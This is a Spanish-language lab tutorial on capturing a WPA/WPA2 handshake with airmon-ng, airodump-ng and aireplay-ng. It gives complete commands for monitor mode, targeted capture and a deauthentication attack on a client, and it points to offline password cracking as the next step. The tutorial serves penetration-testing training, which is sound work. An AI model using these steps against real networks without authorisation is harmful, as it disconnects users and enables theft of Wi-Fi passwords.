Capturar un Handshake WPA Manualmente con airodump-ng

Beginner
Practicar Ahora

Introducción

El handshake de cuatro vías WPA/WPA2 es un componente crítico de la seguridad Wi-Fi moderna. Es el proceso mediante el cual un cliente y un punto de acceso (AP) demuestran que conocen la clave precompartida (la contraseña de Wi-Fi) sin transmitirla directamente. Capturar este handshake es el primer paso en un ataque de fuerza bruta o de diccionario para recuperar la contraseña de Wi-Fi.

En este laboratorio, aprenderá a utilizar la potente suite de herramientas Aircrack-ng para realizar esta captura. Utilizaremos airmon-ng para poner su tarjeta inalámbrica en modo monitor, airodump-ng para escanear y apuntar a una red específica, y aireplay-ng para forzar a un cliente a reautenticarse, generando así un handshake para que lo capturemos.

Este laboratorio simula un escenario del mundo real. Se le proporcionará una interfaz inalámbrica wlan0 y una red objetivo para practicar dentro del entorno del laboratorio.

Poner el Adaptador Inalámbrico en Modo Monitor

En este paso, prepararemos nuestro adaptador inalámbrico para capturar tráfico de red. Por defecto, un adaptador inalámbrico opera en "modo gestionado" (managed mode), lo que significa que solo presta atención al tráfico destinado a él. Para capturar todo el tráfico Wi-Fi en el aire, necesitamos cambiarlo a "modo monitor" (monitor mode). Utilizaremos la herramienta airmon-ng para esto.

Primero, veamos el nombre de nuestra interfaz inalámbrica. Abra una terminal y ejecute el comando iwconfig.

iwconfig

Debería ver una interfaz listada, generalmente llamada wlan0.

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

Ahora, use airmon-ng para iniciar el modo monitor en la interfaz wlan0. Este comando puede detener algunos procesos de red que podrían interferir con la captura.

sudo airmon-ng start wlan0

La salida confirmará que el modo monitor se ha habilitado. Generalmente crea una nueva interfaz virtual, a menudo llamada wlan0mon, para la monitorización.

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.

    PID Name
    591 wpa_supplicant
    668 dhclient

PHY     Interface       Driver          Chipset
phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

Puede verificar que la nueva interfaz wlan0mon está en modo monitor ejecutando iwconfig nuevamente.

iwconfig wlan0mon

La salida debería mostrar Mode:Monitor.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

Ejecutar airodump-ng para Encontrar el BSSID y Canal del Objetivo

En este paso, utilizaremos airodump-ng para escanear las ondas de radio e identificar nuestra red objetivo. airodump-ng es una herramienta potente para capturar tramas 802.11 y descubrir puntos de acceso cercanos y clientes conectados.

Ahora que nuestra interfaz wlan0mon está en modo monitor, podemos iniciar el escaneo. Ejecute el siguiente comando en su terminal:

sudo airodump-ng wlan0mon

Su terminal se llenará con una lista de todas las redes Wi-Fi que airodump-ng puede detectar. La visualización se divide en dos partes. La parte superior lista los Puntos de Acceso (APs), y la parte inferior lista los clientes conectados (Estaciones).

Analicemos las columnas clave para los APs:

  • BSSID: La dirección MAC del Punto de Acceso. Este es su identificador de hardware único.
  • CH: El canal en el que opera la red.
  • ESSID: El nombre legible de la red Wi-Fi (por ejemplo, "MiWiFiCasa").

Aquí tiene un ejemplo de lo que podría ver:

 CH  6 ][ Elapsed: 3 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54e  WPA2 CCMP   PSK  LabEx_WiFi
 C8:D3:FF:A1:B2:C3  -65        8        0    0   1  54e  WPA2 CCMP   PSK  AnotherWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

Para este laboratorio, nuestra red objetivo es LabEx_WiFi. De la salida anterior, identifique su BSSID (00:11:22:33:44:55) y su CH (6). Necesitará estos datos para el siguiente paso.

Una vez que haya anotado el BSSID y el canal, presione Ctrl+C en la terminal para detener el proceso de escaneo.

Ejecutar airodump-ng Dirigido al BSSID y Canal Específicos

En este paso, enfocaremos nuestra captura únicamente en la red objetivo. Ejecutar un escaneo general como hicimos en el paso anterior hace que la tarjeta inalámbrica "salte de canal" (channel hop), lo que significa que podríamos perder el handshake cuando ocurra. Para asegurar una captura exitosa, le indicaremos a airodump-ng que se bloquee en el canal de nuestro objetivo y solo escuche el tráfico de su BSSID.

También utilizaremos la opción -w para escribir los paquetes capturados en un archivo. Este archivo es el que contendrá el handshake.

Utilice el BSSID y el canal que identificó en el paso anterior (00:11:22:33:44:55 y 6) para construir el siguiente comando. Llamaremos a nuestro archivo de salida handshake_capture.

sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon

Después de ejecutar este comando, la visualización de airodump-ng cambiará. Ahora solo mostrará información para la red LabEx_WiFi. También verá una lista de cualquier cliente (STATIONs) conectado a ella.

 CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       25        10    1   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1- 1      0       15

Importante: Deje esta terminal en ejecución. La necesitamos para continuar la captura. Para el siguiente paso, debe abrir una nueva ventana de terminal. Puede hacerlo haciendo clic nuevamente en el icono de terminal en el dock de aplicaciones del entorno.

Usar aireplay-ng para Desautenticar a un Cliente

En este paso, forzaremos activamente a que ocurra un handshake. Un handshake solo ocurre cuando un cliente se conecta o reconecta a un punto de acceso. Si un cliente ya está conectado, podemos esperar a que se desconecte de forma natural, pero esto podría llevar mucho tiempo. Un enfoque más proactivo es forzar su desconexión utilizando un "ataque de desautenticación".

Utilizaremos aireplay-ng para enviar paquetes de desautenticación especialmente diseñados a un cliente, haciéndole creer que ha sido desconectado por el AP. El cliente intentará reconectarse automáticamente, generando el handshake WPA que nuestro proceso airodump-ng (ejecutándose en la otra terminal) está esperando capturar.

Observe su primera ventana de terminal (la que ejecuta el airodump-ng dirigido). Debajo de la columna STATION, verá la dirección MAC de un cliente conectado. Para este laboratorio, asumiremos que la dirección MAC del cliente es AA:BB:CC:DD:EE:FF.

Ahora, en su nueva ventana de terminal, ejecute el siguiente comando aireplay-ng.

  • --deauth 5: Esto envía 5 paquetes de desautenticación. Un pequeño ráfaga suele ser suficiente.
  • -a 00:11:22:33:44:55: Este es el BSSID de nuestro Punto de Acceso objetivo.
  • -c AA:BB:CC:DD:EE:FF: Esta es la dirección MAC del cliente al que nos dirigimos.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

Verá la salida de aireplay-ng confirmando que está enviando los paquetes.

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11  Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]

Ahora, comprobemos si nuestra captura fue exitosa.

Confirmar la Captura del Handshake en la Ventana de airodump-ng

En este paso final, confirmaremos que hemos capturado exitosamente el handshake WPA. El ataque de desautenticación que acabamos de realizar debería haber provocado que el cliente se reconectara, y airodump-ng debería haber capturado el handshake resultante.

Vuelva a enfocar su atención en su primera ventana de terminal, la que ha estado ejecutando airodump-ng y apuntando a LabEx_WiFi.

Mire la esquina superior derecha de la pantalla de airodump-ng. Si la captura fue exitosa, verá un mensaje que dice [ WPA handshake: 00:11:22:33:44:55 ].

 CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55

 BSSID              PWR  RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -32  100       80       115    8   6  54e  WPA2 CCMP   PSK  LabEx_WiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -40    1-11      0       98

¡Ver este mensaje es su confirmación! Ha capturado exitosamente el handshake de cuatro vías.

Ahora puede detener ambos procesos presionando Ctrl+C en cada ventana de terminal.

Los datos capturados, incluido el handshake, se han guardado en archivos en su directorio actual. Puede listarlos con el comando ls -l.

ls -l

Debería ver varios archivos que comienzan con handshake_capture, siendo el más importante handshake_capture-01.cap.

-rw-r--r-- 1 root root  452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...

Este archivo .cap es el premio. Contiene el handshake y ahora puede usarse con herramientas como aircrack-ng o hashcat para intentos de cracking de contraseñas offline.

Resumen

¡Felicitaciones por completar este laboratorio! Ha realizado con éxito una de las técnicas fundamentales en las pruebas de penetración de Wi-Fi.

En este laboratorio, aprendió a:

  1. Poner un adaptador inalámbrico en modo monitor usando airmon-ng.
  2. Escanear redes inalámbricas cercanas para identificar un objetivo con airodump-ng.
  3. Enfocar airodump-ng en un BSSID y canal específicos para prepararse para una captura dirigida, guardando los resultados en un archivo.
  4. Usar aireplay-ng para realizar un ataque de desautenticación, forzando a un cliente a reconectarse.
  5. Confirmar la captura del handshake WPA en la salida de airodump-ng.

El archivo .cap que generó contiene los valiosos datos del handshake. El siguiente paso lógico en un compromiso real sería usar este archivo para intentar descifrar la contraseña de Wi-Fi, un tema para otro laboratorio. Ahora tiene una comprensión sólida del proceso manual para capturar esta pieza crítica de datos.